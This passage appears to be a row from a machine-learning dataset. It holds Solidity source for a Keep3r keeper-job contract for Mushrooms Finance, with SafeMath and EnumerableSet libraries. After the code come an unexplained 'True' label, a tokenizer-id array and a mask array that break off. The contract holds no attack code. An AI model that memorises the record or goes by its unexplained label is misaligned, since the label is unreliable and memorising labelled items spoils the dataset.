*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//
interface IMMStrategyHarvestKp3r {
event Keep3rSet(address keep3r);
event Keep3rHelperSet(address keep3rHelper);
event SlidingOracleSet(address slidingOracle);
// Actions by Keeper
event HarvestedByKeeper(address _strategy);
// Harvestable check
event HarvestableCheck(address _strategy, uint256 profitTokenAmount, uint256 profitFactor, uint256 profitInEther, uint256 ethCallCost);
// Setters
function setKeep3r(address _keep3r) external;
function setKeep3rHelper(address _keep3rHelper) external;
function setSlidingOracle(address _slidingOracle) external;
function setSushiSlidingOracle(address _sushiSlidingOracle) external;
function setMinHarvestInterval(uint256 _interval) external;
function setProfitFactor(uint256 _profitFactor) external;
// Getters
function getStrategies() external view returns (address[] memory);
function getCollateralizedStrategies() external view returns (address[] memory);
function getVaults() external view returns (address[] memory);
// psuedo view method, please use something similar to below tool to query
// https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic
function harvestable(address _strategy) external returns (bool);
// harvest actions for Keep3r
function harvest(address _strategy) external;
// earn() actions for Keep3r
function earnable(address _strategy) external view returns (bool);
function earn(address _strategy) external;
// keepMinRatio() actions for Keep3r
function keepMinRatioMayday(address _strategy) external view returns (bool);
function keepMinRatio(address _strategy) external;
// Name of the Keep3r
function name() external pure returns (string memory);
event HarvestStrategyAdded(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle);
event EarnVaultAdded(address _vault, uint256 _requiredEarnBalance);
event HarvestStrategyModified(address _strategy, uint256 _requiredHarvest);
event EarnVaultModified(address _vault, uint256 _requiredEarnBalance);
event HarvestStrategyRemoved(address _strategy);
event EarnVaultRemoved(address _vault);
// Modifiers
function addStrategy(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle) external;
function addVault(address _vault, uint256 _requiredEarnBalance) external;
function updateRequiredHarvestAmount(address _strategy, uint256 _requiredHarvest) external;
function updateYieldTokenOracle(address _strategy, uint256 _yieldTokenOracle) external;
function updateRequiredEarn(address _vault, uint256 _requiredEarnBalance) external;
function removeHarvestStrategy(address _strategy) external;
function removeEarnVault(address _vault) external;
}
//
interface IKeep3rV1 {
function KPRH() external returns (address);
function name() external returns (string memory);
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
function addKPRCredit(address job, uint256 amount) external;
function addJob(address job) external;
}
//
abstract contract Keep3r {
IKeep3rV1 public keep3r;
constructor(address _keep3r) public {
_setKeep3r(_keep3r);
}
function _setKeep3r(address _keep3r) internal {
keep3r = IKeep3rV1(_keep3r);
}
function _isKeeper() internal {
require(tx.origin == msg.sender, "keep3r::isKeeper:keeper-is-a-smart-contract");
require(keep3r.isKeeper(msg.sender), "keep3r::isKeeper:keeper-is-not-registered");
}
// Only checks if caller is a valid keeper, payment should be handled manually
modifier onlyKeeper() {
_isKeeper();
_;
}
// Checks if caller is a valid keeper, handles default payment after execution
modifier paysKeeper() {
_isKeeper();
_;
keep3r.worked(msg.sender);
}
}
//
interface IKeep3rV1Helper {
function getQuoteLimit(uint256 gasUsed) external view returns (uint256);
}
//
interface IUniswapV2SlidingOracle {
function current(
address tokenIn,
uint256 amountIn,
address tokenOut
) external view returns (uint256);
function pairs() external view returns (address[] memory);
}
//
interface IStrategy {
function rewards() external view returns (address);
function gauge() external view returns (address);
function want() external view returns (address);
function timelock() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint256) external;
function skim() external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function harvest() external;
function setTimelock(address) external;
function setController(address _controller) external;
function execute(address _target, bytes calldata _data)
external
payable
returns (bytes memory response);
function execute(bytes calldata _data)
external
payable
returns (bytes memory response);
}
//
interface ICrvStrategy is IStrategy {
function getHarvestable() external returns (uint256);
}
//
interface ICompStrategy is IStrategy {
function getCompAccrued() external returns (uint256);
}
interface ICollateralizedStrategy is IStrategy {
function keepMinRatio() external;
function currentRatio() external view returns (uint256);
function minRatio() external view returns (uint256);
function setMinRatio(uint256 _minRatio) external;
}
interface ILeveragedStrategy is IStrategy {
function leverageToMax() external;
}
interface IVault {
function earn() external;
function token() external view returns (address);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
interface MMController {
function vaults(address _wantToken) external view returns (address);
function strategies(address _wantToken) external view returns (address);
}
//
// inspired by & thanks to https://macarse.medium.com/the-keep3r-network-experiment-bb1c5182bda3
//
contract GenericKeep3rV2 is Keep3r, IMMStrategyHarvestKp3r {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal availableStrategies;
EnumerableSet.AddressSet internal leveragedStrategies;
EnumerableSet.AddressSet internal collateralizedStrategies;
EnumerableSet.AddressSet internal availableVaults;
// one-to-one mapping from vault to strategy
mapping(address => address) public vaultStrategies;
// required gas cost on strategy harvest()
mapping(address => uint256) public requiredHarvest;
// last harvest timestamp for strategy
mapping(address => uint256) public strategyLastHarvest;
// profit token yield by strategy harvest()
mapping(address => address) public stratagyYieldTokens;
// oracles used in harvest() for strategy:
// 0 : slidingOracle
// 1 : sushiSlidingOracle
// anything > 1 : simply use token number instead price oracle
mapping(address => uint256) public stratagyYieldTokenOracles;
// required minimum token available for vault earn(), may subject to change to make this job reasonable
mapping(address => uint256) public requiredEarnBalance;
address public keep3rHelper;
address public slidingOracle;
address public sushiSlidingOracle;
address public mmController;
address public constant KP3R = address(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant CRV = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant COMP = address(0xc00e94Cb662C3520282E6f5717214004A7f26888);
address public constant MIR = address(0x09a3EcAFa817268f77BE1283176B946C4ff2E608);
address public constant THREECRV = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
address public constant CRVRENWBTC = address(0x49849C98ae39Fff122806C06791Fa73784FB3675);
address public constant DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F );
address public constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 );
address public constant MIRUSTLP = address(0x87dA823B6fC8EB8575a235A824690fda94674c88 );
address public constant WBTC = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address public constant LINK = address(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address public constant ZRX = address(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
uint256 public constant UNISWAP_ORACLE = 0;
uint256 public constant SUSHISWAP_ORACLE = 1;
// The minimum number of seconds between harvest calls, once half a day
uint256 public minHarvestInterval = 43200;
// The minimum multiple that `callCost` must be above the profit to be "justifiable"
uint256 public profitFactor = 1;
address public governor;
constructor(
address _keep3r,
address _keep3rHelper,
address _slidingOracle,
address _sushiSlidingOracle,
address _mmController
) public Keep3r(_keep3r) {
keep3rHelper = _keep3rHelper;
slidingOracle = _slidingOracle;
sushiSlidingOracle = _sushiSlidingOracle;
governor = msg.sender;
mmController = _mmController;
// add exisitng vaults
addVault(MMController(_mmController).vaults(THREECRV), 10000 * 1e18); // Matsutake Field 3CRV
addVault(MMController(_mmController).vaults(CRVRENWBTC), 1 * 1e18); // Boletus Field crvRENWBTC
addVault(MMController(_mmController).vaults(DAI), 10000 * 1e18); // Kikurage Field DAI
addVault(MMController(_mmController).vaults(USDC), 10000 * 1e6); // Lentinula Field USDC
addVault(MMController(_mmController).vaults(MIRUSTLP), 1000 * 1e18); // Agaricus Field MIR-UST LP
addVault(MMController(_mmController).vaults(WETH), 10 * 1e18); // Russula Field WETH
addVault(MMController(_mmController).vaults(WBTC), 1 * 1e18); // Pleurotus Field WBTC
addVault(MMController(_mmController).vaults(LINK), 400 * 1e18); // Calvatia Field LINK
addVault(MMController(_mmController).vaults(ZRX), 10000 * 1e18); // Helvella Field ZRX
// add exisitng strategies
addStrategy(MMController(_mmController).vaults(THREECRV), MMController(_mmController).strategies(THREECRV), 1000000, false, false, CRV, SUSHISWAP_ORACLE); // 3CRV Yield $CRV
addStrategy(MMController(_mmController).vaults(CRVRENWBTC), MMController(_mmController).strategies(CRVRENWBTC), 1000000, false, false, CRV, SUSHISWAP_ORACLE); // crvRENWBTC Yield $CRV
addStrategy(MMController(_mmController).vaults(DAI), MMController(_mmController).strategies(DAI), 700000, false, true, COMP, SUSHISWAP_ORACLE); // DAI Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(USDC), MMController(_mmController).strategies(USDC), 700000, false, true, COMP, SUSHISWAP_ORACLE); // USDC Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(MIRUSTLP), MMController(_mmController).strategies(MIRUSTLP), 850000, false, false, MIR, 1000 * 1e18); // MIR-UST LP Yield $MIR
addStrategy(MMController(_mmController).vaults(WETH), MMController(_mmController).strategies(WETH), 1100000, true, true, COMP, SUSHISWAP_ORACLE); // WETH Collateralized & Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(WBTC), MMController(_mmController).strategies(WBTC), 700000, false, true, COMP, SUSHISWAP_ORACLE); // WBTC Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(LINK), MMController(_mmController).strategies(LINK), 1100000, true, true, COMP, SUSHISWAP_ORACLE); // LINK Collateralized & Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(ZRX), MMController(_mmController).strategies(ZRX), 1100000, true, true, COMP, SUSHISWAP_ORACLE); // ZRX Collateralized & Leveraged Yield $COMP
}
modifier onlyGovernor {
require(msg.sender == governor, "governable::only-governor");
_;
}
function _setGovernor(address _governor) external onlyGovernor {
require(_governor != address(0), "governable::governor-should-not-be-zero-addres");
governor = _governor;
}
// Unique method to add a strategy with specified parameters to the system
function addStrategy(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle) public override onlyGovernor {
_addHarvestStrategy(_vault, _strategy, _requiredHarvest);
availableStrategies.add(_strategy);
stratagyYieldTokens[_strategy] = yieldToken;
stratagyYieldTokenOracles[_strategy] = yieldTokenOracle;
if (_requiredKeepMinRatio){
collateralizedStrategies.add(_strategy);
}
if (_requiredLeverageToMax){
leveragedStrategies.add(_strategy);
}
emit HarvestStrategyAdded(_vault, _strategy, _requiredHarvest, _requiredKeepMinRatio, _requiredLeverageToMax, yieldToken, yieldTokenOracle);
}
function _addHarvestStrategy(address _vault, address _strategy, uint256 _requiredHarvest) internal {
require(availableVaults.contains(_vault), "generic-keep3r-v2:!availableVaults");
require(requiredHarvest[_strategy] == 0 && !availableStrategies.contains(_strategy), "generic-keep3r-v2:!requiredHarvest:strategy-already-added");
_setRequiredHarvest(_strategy, _requiredHarvest);
vaultStrategies[_vault] = _strategy;
}
// Unique method to add a vault with specified parameters to the system
function addVault(address _vault, uint256 _requiredEarnBalance) public override onlyGovernor {
require(!availableVaults.contains(_vault), "generic-keep3r-v2:!requiredEarn:vault-already-added");
availableVaults.add(_vault);
_setRequiredEarn(_vault, _requiredEarnBalance);
emit EarnVaultAdded(_vault, _requiredEarnBalance);
}
// Unique method to update a strategy with specified gas cost
function updateRequiredHarvestAmount(address _strategy, uint256 _requiredHarvest) external override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::update-required-harvest:strategy-not-added");
_setRequiredHarvest(_strategy, _requiredHarvest);
emit HarvestStrategyModified(_strategy, _requiredHarvest);
}
// Unique method to update a strategy with specified yield token oracle type
function updateYieldTokenOracle(address _strategy, uint256 _yieldTokenOracle) external override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::update-yield-token-oracle:strategy-not-added");
stratagyYieldTokenOracles[_strategy] = _yieldTokenOracle;
}
// Unique method to update a vault with specified required want token number for earn()
function updateRequiredEarn(address _vault, uint256 _requiredEarnBalance) external override onlyGovernor {
require(availableVaults.contains(_vault), "generic-keep3r-v2::update-required-earn:vault-not-added");
_setRequiredEarn(_vault, _requiredEarnBalance);
emit EarnVaultModified(_vault, _requiredEarnBalance);
}
function removeHarvestStrategy(address _strategy) public override onlyGovernor {
require(requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy), "generic-keep3r-v2::remove-harvest-strategy:strategy-not-added");
delete requiredHarvest[_strategy];
availableStrategies.remove(_strategy);
if (collateralizedStrategies.contains(_strategy)){
collateralizedStrategies.remove(_strategy);
}
if (leveragedStrategies.contains(_strategy)){
leveragedStrategies.remove(_strategy);
}
emit HarvestStrategyRemoved(_strategy);
}
function removeEarnVault(address _vault) external override onlyGovernor {
require(availableVaults.contains(_vault), "generic-keep3r-v2::remove-earn-vault:vault-not-added");
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && availableStrategies.contains(_strategy)){
removeHarvestStrategy(_strategy);
delete vaultStrategies[_vault];
}
delete requiredEarnBalance[_vault];
availableVaults.remove(_vault);
emit EarnVaultRemoved(_vault);
}
function setMinHarvestInterval(uint256 _interval) external override onlyGovernor {
require(_interval > 0, "!_interval");
minHarvestInterval = _interval;
}
function setProfitFactor(uint256 _profitFactor) external override onlyGovernor {
require(_profitFactor > 0, "!_profitFactor");
profitFactor = _profitFactor;
}
function setKeep3r(address _keep3r) external override onlyGovernor {
_setKeep3r(_keep3r);
emit Keep3rSet(_keep3r);
}
function setKeep3rHelper(address _keep3rHelper) external override onlyGovernor {
keep3rHelper = _keep3rHelper;
emit Keep3rHelperSet(_keep3rHelper);
}
function setSlidingOracle(address _slidingOracle) external override onlyGovernor {
slidingOracle = _slidingOracle;
emit SlidingOracleSet(_slidingOracle);
}
function setSushiSlidingOracle(address _sushiSlidingOracle) external override onlyGovernor {
sushiSlidingOracle = _sushiSlidingOracle;
}
function _setRequiredEarn(address _vault, uint256 _requiredEarnBalance) internal {
if (_requiredEarnBalance > 0){
requiredEarnBalance[_vault] = _requiredEarnBalance;
}
}
function _setRequiredHarvest(address _strategy, uint256 _requiredHarvest) internal {
if (_requiredHarvest > 0){
requiredHarvest[_strategy] = _requiredHarvest;
}
}
// Getters
function name() external pure override returns (string memory) {
return "Generic Keep3r for Mushrooms Finance";
}
function getStrategies() public view override returns (address[] memory _strategies) {
_strategies = new address[](availableStrategies.length());
for (uint256 i; i < availableStrategies.length(); i++) {
_strategies[i] = availableStrategies.at(i);
}
}
function getCollateralizedStrategies() public view override returns (address[] memory _strategies) {
_strategies = new address[](collateralizedStrategies.length());
for (uint256 i; i < collateralizedStrategies.length(); i++) {
_strategies[i] = collateralizedStrategies.at(i);
}
}
function getVaults() public view override returns (address[] memory _vaults) {
_vaults = new address[](availableVaults.length());
for (uint256 i; i < availableVaults.length(); i++) {
_vaults[i] = availableVaults.at(i);
}
}
// this method is not specified as view since some strategy maybe not able to return accurate underlying profit in snapshot,
// please use something similar to below tool to query
// https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic
function harvestable(address _strategy) public override returns (bool) {
require(requiredHarvest[_strategy] > 0, "generic-keep3r-v2::harvestable:strategy-not-added");
// Should not trigger if had been called recently
if (strategyLastHarvest[_strategy] > 0 && block.timestamp.sub(strategyLastHarvest[_strategy]) <= minHarvestInterval){
return false;
}
// quote from keep3r network for specified workload
uint256 kp3rCallCost = IKeep3rV1Helper(keep3rHelper).getQuoteLimit(requiredHarvest[_strategy]);
// get ETH gas cost by querying uniswap sliding oracle
uint256 ethCallCost = IUniswapV2SlidingOracle(sushiSlidingOracle).current(KP3R, kp3rCallCost, WETH);
// estimate yield profit to harvest
uint256 profitTokenAmount = 0;
address yieldToken = stratagyYieldTokens[_strategy];
uint256 yieldTokenOracle = stratagyYieldTokenOracles[_strategy];
if (yieldToken == COMP){
profitTokenAmount = ICompStrategy(_strategy).getCompAccrued();
} else{
profitTokenAmount = ICrvStrategy(_strategy).getHarvestable();
}
if (yieldTokenOracle > SUSHISWAP_ORACLE){ // no oracle to use, just use token number
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, 0, ethCallCost);
return (profitTokenAmount >= yieldTokenOracle);
} else{
address oracle = yieldTokenOracle == UNISWAP_ORACLE? slidingOracle : sushiSlidingOracle;
uint256 profitInEther = IUniswapV2SlidingOracle(oracle).current(yieldToken, profitTokenAmount, WETH);
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, profitInEther, ethCallCost);
return (profitInEther >= profitFactor.mul(ethCallCost));
}
}
function earnable(address _vault) public view override returns (bool) {
require(availableVaults.contains(_vault), "generic-keep3r-v2::earnable:vault-not-added");
return (IERC20(IVault(_vault).token()).balanceOf(_vault) >= requiredEarnBalance[_vault]);
}
function keepMinRatioMayday(address _strategy) public view override returns (bool) {
require(collateralizedStrategies.contains(_strategy), "generic-keep3r-v2::keepMinRatioMayday:strategy-not-added");
return ICollateralizedStrategy(_strategy).currentRatio() <= (ICollateralizedStrategy(_strategy).minRatio() * 9000 / 10000);
}
// harvest() actions for Keep3r
function harvest(address _strategy) external override paysKeeper {
require(harvestable(_strategy), "generic-keep3r-v2::harvest:not-workable");
IStrategy(_strategy).harvest();
strategyLastHarvest[_strategy] = block.timestamp;
emit HarvestedByKeeper(_strategy);
}
// earn() actions for Keep3r
function earn(address _vault) external override paysKeeper {
require(earnable(_vault), "generic-keep3r-v2::earn:not-workable");
IVault(_vault).earn();
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && leveragedStrategies.contains(_strategy)){
ILeveragedStrategy(_strategy).leverageToMax();
}
}
// keepMinRatio() actions for Keep3r
function keepMinRatio(address _strategy) external override paysKeeper {
require(keepMinRatioMayday(_strategy), "generic-keep3r-v2::keepMinRatio:not-workable");
ICollateralizedStrategy(_strategy).keepMinRatio();
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
2656,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
2260,
1011,
6021,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1022,
1025,
1013,
1013,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
